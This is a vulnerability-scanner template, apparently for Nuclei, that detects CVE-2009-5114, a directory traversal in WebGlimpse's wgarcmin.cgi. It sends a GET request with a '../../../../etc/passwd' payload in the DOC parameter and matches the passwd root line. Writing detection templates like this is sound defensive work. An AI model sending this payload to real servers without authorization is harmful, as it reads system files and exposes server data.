id: CVE-2009-5114

info:
  name: WebGlimpse 2.18.7 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter.
  impact: |
    An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/36994
    - https://nvd.nist.gov/vuln/detail/CVE-2009-5114
    - http://websecurity.com.ua/2628/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74321
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2009-5114
    cwe-id: CWE-22
    epss-score: 0.13653
    epss-percentile: 0.95995
    cpe: cpe:2.3:a:iwork:webglimpse:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: iwork
    product: webglimpse
  tags: cve,cve2009,edb,lfi,iwork,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008cd53ac22e7e9fd93f8e50555f4974ed58cdc02365157ddf0e7f79360627000a022004424b9bf229f3984af209630c13223b4ff1e9d6b5f0cd5291b73bfbb5c79173:922c64590222798bb761d5b6d8e72950